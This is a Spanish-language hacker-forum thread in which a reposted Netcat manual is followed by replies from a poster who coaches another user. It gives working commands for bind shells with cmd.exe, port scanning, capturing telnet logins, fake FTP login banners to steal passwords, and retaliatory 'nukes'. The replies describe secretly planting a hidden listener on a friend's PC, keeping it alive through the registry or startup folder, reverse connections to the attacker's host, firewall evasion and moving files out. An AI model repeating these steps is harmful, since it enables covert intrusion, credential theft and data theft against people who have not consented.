hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
25 de Julio de 2008, 03:05:07
Noticias: Te gusta el nuevo diseño?
Opina al respecto en:
Para ver este enlace Registrate o Inicia Sesion
Este Tema

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Hacking (Moderadores: askatasun, HolyKnight, kamui23, CHR0N05, - TuX -)
| | |-+  Manual de NETCAT
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2 3 Ir Abajo Imprimir
Autor Tema: Manual de NETCAT  (Leído 12562 veces)
k4ron73
NZ2
**
Desconectado Desconectado

Mensajes: 220


·:| karonte |:·


Ver Perfil
« : 22 de Marzo de 2005, 05:38:49 »

==========================================
Netcat.
Sacandole Provecho a una exelente Utilidad.
por: Kliber.
kliber@hven.com.ve
Hackers Venezuela
==========================================

Netcat es un pequeño programa creado para uso de los
administradore s de redes (y por supuesto para los Hackers) , este
proggie fué creado originalmente por Hobbit y porteado a Win95 y NT por
Weld Pond de L0pht , tiene mas de un año desde que fué Liberado y muy
poco se ha escrito sobre este Programita; Principalmente porque la estructura
de sus comandos es poco familiar para el usuario medio. Netcat tiene
infinidad de funciones, aunque se deja que sea el usuario quien las
averigue , y en el archivo de ayuda ponen algunos ejemplitos muy
elementales solamente...

La especialidad de NetCat es el Protocolo tcp/ip, y le dá a la
máquina de windows, cierto poder sobre este protocolo que solo tenía
UNIX, trabaja con lineas de comandos desde MS-DOS (o desde el
Shell de Linux), y según parece, puede hacer casi cualquier cosa sobre
TCP/IP. El comando principal es nc con su respectiva variable u opción
al mas puro estilio Unix.


Cabe destacar que la información sobre Netcat y sus usos
especificos es bastante limitada; aunque Hobbit en su documento aclara
muchas cosas, cita algunos ejemplos y dice que NetCat puede ser utilizado
para mas de 1001 vainas...

Netcat puede ser encontrado en: http://www.l0pht.com/~weld/netcat


Netcat en WinX
==============

Este es el resultado de el comando de ayuda de netcat en una máquina windows

c:>nc -h

connect to somewhere: nc [-options] hostname port [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode

-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

Bien; un analisis rápido de estas variables nos da una idea del
potencial de este pequeño programa y las infinitas posibilidades que nos
ofrece el poder manejar conecciones de una manera tan básica y sencilla:

<------ Opciones de Netcat --------->

-d (Modo Stealth o encubierto)
Esta opción desvincula al Programa de la consola, haciendolo
trabajar en el BackGround.

-e<prog> (Ejecuta un programa cuando se conecta)
Puede ser utilizado para ejecutar incluso un Shell tanto
en WinX como en *NIX.

-l (Escuchando conecciones)
Deja a un puerto abierto en espera de una conección

-L (lo mismo que anteriormente pero sigue escuchando aún cuando la
conección es cerrada)
Esta opción es incluida en la versión de Weld Pond de L0pth, y
es muy util para seguir escuchando en el puerto, a diferencia de -l
(que la conección cerrada termina con el proceso de nc) esta opción -L
permite seguir escuchando en el mismo puerto (la rutina de nc -l es
reiniciada).

-n (Dirección numerica especifica; no hace un DNS Lookup) Netcat tiene la
facultad de resolver nombres de dominio mediante un DNS Lookup, con esta
opción le especificamos que no lo haga, y use solamente direcciones IP.

-o<logfile> (obtiene un archivo log en Hex de la acción) Genera un Log de
las actividades de netcat en código Hexadecimal.

-p<puerto> (Puerto para pegarse) Algunas veces debes especificarle con esta
opción el puerto a realizar una acción.

-s<ip addr> (pegarse a un IP especifico) Netcat puede utilizar IP de una red
como fuente local.

-t (Funciona como un pequeño demonio telnet) Con esta opción le especificas
a netcat que debe realizar negociaciones telnet.

-u specify UDP (Utilizar Protocolo UDP) Con esta opción le dices a netcat que
trabaje con protocolo UDP en vez de TCP.

-v (modo verbose, mas información, se le puede añadir otra -v para mas
info todavia) Bastante util y necesario, sobre todo para estudiar demonios
en profundidad y observar todos los detalles en un Sniffing.

-w <segundos> (Especifica un tiempo para terminar) Con esta opción le especificas un
tiempo determinado para realizar conecciones .

-r (Genera un Patron Ramdom de puertos locales o remotos) Muy util para evitar
patrones lógicos de Scanning.

-g <gateway> (especificar Gateways) Una de las opciones más interesantes de netcat,
permite utilizar Routers como "puentes" de conección.

-G <numero> (Especificar puntos de Routing), Con esta opción podemos crear
una cadenaaleatori a de hosts para crear un ruta perdida para tus paquetes
(Spoofing).

-i <segundos> Especifica un intervalo de segundos entre puertos Scaneados.

<------------- Fin de las opciones comentadas ------>


Netcat en Linux
===============

Netcat en una plataforma como Linux se convierte en una utilidad
muy potente, pudiendo ser utilizado en conjunto con lenguajes de programación
como Perl y C , o bien desde la propia Linea de comandos del poderoso Shell
de Linux mediante Shell Scripts.

Cabe destacar que distribuciones como RedHat Linux trae junto con
sus paquetes de instalación una versión limitada de netcat; lo mas recomendable
es bajar de la red la versión full de netcat para Linux (Importante: La
versión de netcat para linux viene a prueba de lamers, por lo cual debemos
compilar a netcat con unos flags especiales para poder obtener las opciones
-t y -e (Telnet y Gaping Security Hole) ). Bajas el .tar de netcat y lo
desempaquetas en el directorio de tu preferencia, te ubicas dentro del
directorio de netcat y lo compilas con Make utilizando las siguientes Flags:

[root@DarkStar] #make linux DFLAGS=" -DTELNET -DGAPING_SECURITY_HOLE"


Copias el binario (nc) al directorio /usr/bin , de esta manera podras usar
netcat directamente llamandolo de cualquier parte del Shell, ademas de que
podrás usar los scripts que hagas (o consigas en la red) sin problemas; netcat
trae unos scripts muy interesantes y bien comentados para que los estudies
y comprendas mejor su implementación en scripts, los scripts están en el
directorio donde desempaquetast es netcat en /scripts , los corres como
siempre: ./probe (o el script que quieras).


Utilizando Netcat.
==================

Para ilustrar mejor como trabajamos con este programa, lo mejor es
observar ejemplos prácticos y analizar su estructura para poder comprender
mejor como funciona y así poder crear nuestras propias aplicaciones.

Algunas de las cosas que podemos hacer con NetCat son:

Obtener un Shell rapidamente en una máquina remota usando la
opción -l (Listen) conjuntamente con la opción -e (ejecutar) , cuando el
proggie corre con estas variables y la conección es realizada, NetCat
ejecuta el programa elegido y se conecta a stdin y stdout del programa
en la conección a la red.

nc -l -p 23 xxx.xxx.xxx.xx 23 -t -e cmd.exe

Este comando dejará a NetCat escuchando el Puerto 23 (telnet) ,
cuando es conectado a travéz del cliente, ejecutará un Shell (cmd.exe)
la opción -t le dice a NetCat que maneje cualquier negociación que el
cliente pueda esperar....

Si esta conección es realizada desde una máquina NT, el shell
correrá los permisos del proceso que han generado a NetCat (Hmmm...) así
que hay que ser muy cuidadosos 

La belleza de NetCat es que puede hacer lo mismo en CUALQUIER
puerto  Puedes dejar a NetCat escuchando en los puertos NETBIOS, que
están probablemente corriendo en la mayoría de las máquinas NT, de esta
manera puedes lograr una conección a una máquina que esté utilizando
"Filtrado de Puertos" activado en TCP/IP security Network Control Panel,
NT no parece tener ninguna seguridad alrededor de cuales puertos los
programas de usuarios son permitidos amarrar, esto quiere decir en pocas
palabras, ejecutar comandos y programas que puedan unirse a los Puertos
NETBIOS.


Como anteriormente se mencionó, puedes utilizar a Netcat para
estudiar diferentes puertos, con la siguiente sintaxis:

c:\>nc -v <IP> <puerto> (puedes añadir otra -v)


Uno de los puertos mas interesantes a la Hora de Analizar un
Host, es el puerto 79 (Finger) , puedes obtener nombres de usuarios e
información muy util a la hora de planear un "Brute-Force Attack", este
comandito de Netcat te muestra la Flexibilidad del Proggie en cuestion,
dandote una idea de sus posibilidades:

c:\>nc -v <host> 79 < user.txt > log.txt

El comando anterior le dice a netcat que se conecte en modo
verbose al Host predeterminado en el puerto 79 (Finger) y envie el
contenido del archivo user.txt (OJO: no he probado esto con una posible
lista de nombre de usuarios al azahar), la respuesta del servicio será
guardada en el archivo log.txt


Scanner:
========

Netcat puede ser utilizado como scanner, sus multiples opciones
le permiten realizar un gran número de combinaciones, pudiendo realizar
Scannings en Puertos Random, en puertos conocidos, en modo ascendente o
descendente, con intervalos de tiempo, utilizando gateways para evitar
mostrar la IP fuente del Scanning, etc.

C:\nc11nt>nc -v -v -z 127.0.0.1 53 25 21

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 25 (smtp): connection refused
localhost [127.0.0.1] 21 (ftp): connection refused
sent 0, rcvd 0: NOTSOCK

Pues si; aqui tienen un pequeño y primitivo scanner, se le
pueden añadir puertos escogidos como en el ejemplo anterior o asignarle
un rango de puertos:

C:\nc11nt>nc -v -v -z 127.0.0.1 1-53

DNS fwd/rev mismatch: localhost != darkstar
localhost [127.0.0.1] 53 (domain): connection refused
localhost [127.0.0.1] 52 (?): connection refused
localhost [127.0.0.1] 51 (?): connection refused
localhost [127.0.0.1] 50 (?): connection refused
localhost [127.0.0.1] 49 (?): connection refused
localhost [127.0.0.1] 48 (?): connection refused etc...

Volvemos con la opción -v (verbose) y la Opción -z (zero i/o)
que es usada para scanning, los puertos se lo especificamos al final del
IP del host, bien sea individuales separados por un espacio; o por un
rango de puertos.


Sniffer:
========

Otra de las interesante posibilidades de netcat es su capacidad para
escuchar conecciones en cualquier puerto, pudiendo redireccionar todo el
tráfico del mismo hacia un archivo o hacia pantalla, en este sencillo
ejemplo, podemos observar las bases de un sencillo sniffer en Windows:

C:\nc11nt>nc -v -v -L 127.0.0.1 -p 23

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...
DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado
password: jeje!!
puedo ver todo lo que escriben aqui... Muuuaaahahahah ahah!!! B-]


Tambien podemos redireccionar toda la salida a un archivo e
irnos a realizar otras actividades ,ientras netcat hace su trabajo:

C:\nc11nt>nc -v -v -L -p 23 127.0.0.1 -t >login.txt
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...

[Aqui viene la conneción...]

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1030

[Todo lo que escriba la connección se va al archivo login.txt]
sent 0, rcvd 42

[La opción -L permite que netcat escuche nuevamente al terminar la conección,
"New Victims Wanted" Hehe!]

DNS fwd/rev mismatch: localhost != darkstar
listening on [127.0.0.1] 23 ...




El Exploit-Explained: nc -v -v -L 127.0.0.1 -p 23
---------------------

Ejecutamos a Netcat con la opción o variable -v (verbose)
(doblemente "verbose" por si acaso)  esto hará que el resultado de
netcat, sea mostrado directamente en pantalla (a diferencia del archivo
usado por Dr._X) , la opción o variable -L (Listen, and listen again)
nos permitirá dejar escuchando u "oliendo" en determinado puerto aun
cuando la conección sea interrumpida (listen again), con la variable -p
le indicamos el puerto...

Al ejecutar a netcat con esa combinación de variables las
opción -v me indica en pantalla el Host y el puerto de escucha:

DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 23 ...


Realizo desde otra ventana un telnet a localhost (127.0.0.1) en
el puerto 23, netcat me informa sobre lo que ocurre en el puerto 23:

DNS fwd/rev mismatch: localhost != darkstar
connect to [127.0.0.1] from localhost [127.0.0.1] 1131
login: sniffado


Voilá! un Sniffer en LocalHost! Jajaja!!!



Detector de Conneciones Sospechosas:
====================================

La posibilidad de dejar a netcat escuchando en determinados puertos,
nos permite crear una especie de "trampa" para un supuesto agresor que utilize
scanners, o herramientas tales como NetBus o BackOrifice en contra de
nuestras estaciones. Incluso, podemos crear un archivo que haga un Flood
y redireccionar su salida hacia la estación agresora en caso de una conección
no autorizada a determinado puerto. (jeje! y se me ocurren un monton de cosas
más, Muaahahaha!) 

Este es un ejemplo de un detector de BO, Je! y funciona! este es un ejemplo
real de un dia como cualquier otro en IRC; he aquí el ejemplo:

C:\nc11nt>nc -u -v -v -L -p 31337 127.0.0.1 31337
DNS fwd/rev mismatch: localhost != darkstar
listening on [any] 31337 ...

invalid connection to [0.0.0.0] from nas1-064.ras.bqm.cantv.net
[161.196.246.65]
31338

Back Orifice utiliza el protocolo UDP para realizar sus
travesuras, realiza la conección desde un puerto aleatorio (casi siempre
el 1080) aunque en este caso lo hizo desde el 31338 (posiblemente una
variante de BO), por eso se utiliza la opción -u (protocolo udp) ,
netcat se queda esperando conecciones UDP en el puerto 31337 (default de
BO) , cuando alguien hace un sweep a tu IP netcat lo detecta enviando a
pantalla el IP y el DNS del agresor...

Luego un pequeño "Ping of Death" (Nuke) para el transgresor y
le hacen un Scan para ver cuando desaparece B-]

nas1-064.ras.bqm.cantv.net [161.196.246.65] 48 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 47 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 46 (?): connection refused
nas1-064.ras.bqm.cantv.net [161.196.246.65] 45 (?): TIMEDOUT
nas1-064.ras.bqm.cantv.net [161.196.246.65] 44 (?): TIMEDOUT<--Chao!!! Jeje!!


Otros usos Miscelaneos:
=======================

Puedes utilizar algo de ingienería social para capturar algunos
passwords con netcat, por ejemplo, si una máquina no tiene abierto el
puerto de FTP o de telnet, creas un archivo de texto que solicite el ID
y el Password de la víctima; algo así:

Microsoft Internet FTP Server V.5.9 [Beta]
04/16/99 myhost.com
Please introduce Username, password and press "Enter"
LogOn:

Luego redireccionas el archivo hacia la victima:

C:\nc11nt>nc -v -v -L -p 21 nombre del host -t < login.txt

Si el tonto cae... Ahí va tu password, Jeje!! B-] un poco de
imaginación y maña te permitirán encontrar muchas utilidades para
netcat.


Netcat en Vez de Telnet.
=======================

Yo personalmente prefiero usar netcat para realizar connecciones
remotas como alternativa al Telnet. la ventaja de realizar conecciones telnet
desde netcat es que este esconde "algo" sobre tu conección, lo que lo hace
mas "sigiloso" que telnet, (de ahí por que lo llamaron netcat), Realizando
una conección "Limpia" en determinado puerto, obviando las negociaciones
comunes de Telnet que pueden confundir al cliente en determinados casos,
como por ejemplo, al utilizar ciertas Backdoors muy conocidas en Unix.

OJO: algunas máquinas interpretan al cliente de telnet
y asumen el nombre del usuario que lo utiliza, de allí el porqué algunos
servidores solo preguntan por password ; teoricamente netcat no envia
esta información. Por eso, es recomendable acostumbrarse a utilizar netcat
para hacer conecciones remotas:


c:> nc -v nombre del host 23(o el puerto de tu preferencia)


Netcat y Programación:
======================

Esta combinación desencadena todo el Poder de Netcat en su máxima
expresión; Tratandose de una herramienta que funciona con lineas de comandos,
su integración con un lenguaje de programación le permite realizar gran
cantidad de tareas, y posibilidades se van descubriendo dia a dia con su
inclusión en nuevos Scripts y Exploits.

Muchos ScriptKiddies que no tienen idea de lo que hacen, se sienten
frustrados porque muchos de los Scripts y Exploits que bajan de la Red
simplemente no les funciona, porque no saben interpretar el Código y por
lo tanto son incapaces de efectuar las modificaciones necesarias para incluir
librerias, paths o utilidades necesarias para su funcionamiento .
(Jódanse ScriptKiddies!!! Jajaja!!)

Netcat es exelente para implementar exploits remotos, permitiendo
enviar el código a cualquier puerto vulnerable con una simple orden, logrando
ejecutar todos los comandos necesarios para explotar determinados servicios.

Varios exploits que circulan actualmente en la Red, usan a netcat
como "motor" para manejar las conecciones, si analizamos el código de estos
programas podemos observar un nc por ahí, esto significa que el Proggie en
cuestión necesita una versión correctamente compilada de netcat en el
directorio /usr/bin

En línea

Por favor usa el oráculo antes de preguntar
---->
Para ver este enlace Registrate o Inicia Sesion
<----
n3m3sis
NZ1
*
Desconectado Desconectado

Mensajes: 70


Member, pOrtal HAcker


Ver Perfil
« Respuesta #1 : 02 de Abril de 2005, 04:50:48 »

al hacer sniffing con el comando nc -v -v -L 127.0.0.1 -p 23 el firewall me bloquea el netcat
hay alguna manera de saltarselo?
En línea

ó_Ö Las gasolineras me dan miedo: Sin plomo 95... Sin plomo 98...Como saquen "Sin plomo XP" me compro un diesel Ö_ó
k4ron73
NZ2
**
Desconectado Desconectado

Mensajes: 220


·:| karonte |:·


Ver Perfil
« Respuesta #2 : 02 de Abril de 2005, 05:43:49 »

Prueba usando el modo encubierto (stealth) -d

nc -vv -d -L 127.0.0.1 -p 23

En línea

Por favor usa el oráculo antes de preguntar
---->
Para ver este enlace Registrate o Inicia Sesion
<----
k4ron73
NZ2
**
Desconectado Desconectado

Mensajes: 220


·:| karonte |:·


Ver Perfil
« Respuesta #3 : 02 de Abril de 2005, 06:00:44 »

Si pruebas en un puerto que el firewall tenga el acceso permitido por defecto (ej p80) no tendrás problemas.

También hay un truco para redireccionar la entrada y salida de datos en caso de que el pc remoto tenga firewall. Es algo más complejo. Pero solo aplicable a conseguir la shell remota. No sirve para sniffar (al menos creo que no.. Undecided)
En línea

Por favor usa el oráculo antes de preguntar
---->
Para ver este enlace Registrate o Inicia Sesion
<----
n3m3sis
NZ1
*
Desconectado Desconectado

Mensajes: 70


Member, pOrtal HAcker


Ver Perfil
« Respuesta #4 : 02 de Abril de 2005, 06:11:24 »

el comando -d (stealth) para que sirve esque no entiendo muy bien lo de que lo hace trabajar en modo background
En línea

ó_Ö Las gasolineras me dan miedo: Sin plomo 95... Sin plomo 98...Como saquen "Sin plomo XP" me compro un diesel Ö_ó
k4ron73
NZ2
**
Desconectado Desconectado

Mensajes: 220


·:| karonte |:·


Ver Perfil
« Respuesta #5 : 02 de Abril de 2005, 06:21:06 »

Que lo hace correr como servicio. En el background significa que el usuario no lo percibe ( y tu firewall se supone que tampoco).
En línea

Por favor usa el oráculo antes de preguntar
---->
Para ver este enlace Registrate o Inicia Sesion
<----
Jeb05
NZ2
**
Desconectado Desconectado

Mensajes: 119


Aprendiz


Ver Perfil
« Respuesta #6 : 02 de Abril de 2005, 06:31:10 »

man el link que me das no funciona

no hay otro?
En línea

Nec sum adeo informis: nuper me in littore vidi / cum placidum ventis staret mar
n3m3sis
NZ1
*
Desconectado Desconectado

Mensajes: 70


Member, pOrtal HAcker


Ver Perfil
« Respuesta #7 : 02 de Abril de 2005, 06:35:28 »

aun utilizando el comando -d mi firewall me lo detecta, me bloquea el nc incluso cuando lo intento con una ip remota. Q ago? desactivo mi firewall o q?
En línea

ó_Ö Las gasolineras me dan miedo: Sin plomo 95... Sin plomo 98...Como saquen "Sin plomo XP" me compro un diesel Ö_ó
k4ron73
NZ2
**
Desconectado Desconectado

Mensajes: 220


·:| karonte |:·


Ver Perfil
« Respuesta #8 : 02 de Abril de 2005, 06:43:01 »

Prueba a desactivarlo. O simplemente a configurarlo para que permita al nc usar el puerto.
En línea

Por favor usa el oráculo antes de preguntar
---->
Para ver este enlace Registrate o Inicia Sesion
<----
n3m3sis
NZ1
*
Desconectado Desconectado

Mensajes: 70


Member, pOrtal HAcker


Ver Perfil
« Respuesta #9 : 02 de Abril de 2005, 06:50:07 »

sq es el firewall del sp2 y ademas es nuevo, sabrias decirme como lo ago para configurarlo?
En línea

ó_Ö Las gasolineras me dan miedo: Sin plomo 95... Sin plomo 98...Como saquen "Sin plomo XP" me compro un diesel Ö_ó
n3m3sis
NZ1
*
Desconectado Desconectado

Mensajes: 70


Member, pOrtal HAcker


Ver Perfil
« Respuesta #10 : 02 de Abril de 2005, 07:23:05 »

con nc cual es el comando para descargarme arxivos de pc's rmeotos, si sq lo tiene?
En línea

ó_Ö Las gasolineras me dan miedo: Sin plomo 95... Sin plomo 98...Como saquen "Sin plomo XP" me compro un diesel Ö_ó
k4ron73
NZ2
**
Desconectado Desconectado

Mensajes: 220


·:| karonte |:·


Ver Perfil
« Respuesta #11 : 02 de Abril de 2005, 09:54:42 »

no.. yo uso sp1. No se decirte como configurar el firewal.. sorry.

No entiendo lo de bajarte archivos de un pc remoto..
Si pones un netcat a la escucha en un pc remoto con el comando cmd.exe como acción entonces cuando conectes desde tu pc también con netcat al mismo puerto accederas a la shell (cmd) del remoto.
Entonces podrás ver y manipular toda la shell del pc remoto como si estuvieras allí.
SI quieres descargar archivos una vez allí te los puedes mandar por ftp (si tienes ftp por ejemplo en lycos o donde sea) o directamente a tu ordenador con el comando tftp (trivial file transfer protocol que permite tránsito de datos entre dos Pc únicamente conociendo la Ip de ambos).
Una vez que accedes a la shell de tu "victima" ya lo tienes facil. Incluso te puedes mandar los archivos a tu email desde la línea de comandos. Justo eso es lo que estoy investigando ahora mismo.. (mandar mails desde shell con archivos adjuntos)y lo postearé en cuanto tenga tiempo.
En línea

Por favor usa el oráculo antes de preguntar
---->
Para ver este enlace Registrate o Inicia Sesion
<----
n3m3sis
NZ1
*
Desconectado Desconectado

Mensajes: 70


Member, pOrtal HAcker


Ver Perfil
« Respuesta #12 : 02 de Abril de 2005, 11:38:31 »

antes de nada muxas gracias q me has aclarado muxas cosas. y segundo una duda: aver se supone q si yo tecleo -e cmd.exe le abro la shell al pc remoto, pero el lo ve como se abre?
y otra cosa, eso de descargarmelo, pasarmelo a mi ftp como lo hago pq e leido mucho sobre netcat y no lo e visto nunca yo pensaba que para descargarme algo o para subirlo utilizo > o  (eso si no me funciona xD, pero creo q es pq no se acerlo bien)

Salu2 y gracias
En línea

ó_Ö Las gasolineras me dan miedo: Sin plomo 95... Sin plomo 98...Como saquen "Sin plomo XP" me compro un diesel Ö_ó
k4ron73
NZ2
**
Desconectado Desconectado

Mensajes: 220


·:| karonte |:·


Ver Perfil
« Respuesta #13 : 03 de Abril de 2005, 02:44:30 »

para que el objetivo no vea la pantalla tienes que poner -e -d cmd.exe (recuerdas lo del background? pues eso Wink) Pero recuerda que también tendrá que tener el nc a la escucha!!

Vamos a ver un ejemplo práctico:
Imagina que estás en casa de un amigo y te está enseñando su nueva web. Mientras que va un segundo al servicio te bajas raudo el nc o sacas un floppy con algun soft que tenías escondido..
Copias el nc en c:\windows\system32\ y desde ahora podrás usar el comando desde cualquier carpeta.
allí lo tendrás que poner a la escucha pegado a un puerto. Para que cuando accedas desde tu pc a ese puerto se ejecute el programa que elijas.     ¿Pero que puerto elijo? El que quieras!     ¿Pero que programa elijo? Siempre Cmd.exe para que te de acceso a la shell.
Bueno, en el manual viene el comando para ponerlo a la escucha:

nc -L -p 23 -t -e -d cmd.exe

Si en ese momento vas a tu pc y escribes esto:

nc -vv -t IPdelPCremoto -p 23

Abrirá el puerto 23, se ejecutará el cmd remoto y tu tendrás acceso a su shell y podrás hacer lo que te de la gana allí.

Problemas a los que te encuentras:
1- Si tu victima reinicia el Pc nc ya no está a la escucha. Se acabó la conexión.
2- Si tu victima tiene ip dinámica.

Soluciones:
1- Hay varios métodos para hacer que netcat ejecute su función de escucha desde el inicio de windows: ponerlo como servicio, creando una entrada en el registro,     ´copiándolo en la carpeta ...\programas\inicio o haciendo una temporización con el comando at.
2- Si tu victima tiene Ip dinámica. Puedes hacer que netcat trabaje a la inversa: coloca nc a la escucha en un puerto de TU mákina. y colocas nc en el pc "victima" para que intente entrar en tu pc. Si tienes tú también ip dinámica tendrías que crearte una cuenta en www.no-ip.com
y usar su hostname (con ip fija).

Es un poco complejo. No se si me he explicao bien.
En línea

Por favor usa el oráculo antes de preguntar
---->
Para ver este enlace Registrate o Inicia Sesion
<----
n3m3sis
NZ1
*
Desconectado Desconectado

Mensajes: 70


Member, pOrtal HAcker


Ver Perfil
« Respuesta #14 : 03 de Abril de 2005, 11:04:18 »

Muxas gracias, y tranqui q t explicas de coña pero cuanto mas se mas dudas tengo y la gran duda q yo siempre me planteo es: todo eso de ponerle un puerto a la escuxa no puedo acerlo desde mi pc, o no puedo abrir el cdm.exe sin que el tenga el puerto a la escuxa? sq yo pensaba q con acerle netcat a un puerto q el tubiera abierto bastaba pero con un amigo lo e intentado al puerto 80 y 21 y al acerle telnet a ese puerto no me aparece nada, vamos q no me da shell pero en cambio si lo ago en localhost si q me lo ace  Huh ando muy perdido sino tienes ganas de plicarme tanto sabrias alguna web? pq esq e leido muxo pero la mayoria de ejemplos practicos q leo los acen en localhost y al acer el salto a un pc remoto es cuando me pierdo.

Bueno muxas gracias y espero no agobiarte jejeje  Tongue
En línea

ó_Ö Las gasolineras me dan miedo: Sin plomo 95... Sin plomo 98...Como saquen "Sin plomo XP" me compro un diesel Ö_ó
Páginas: [1] 2 3 Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online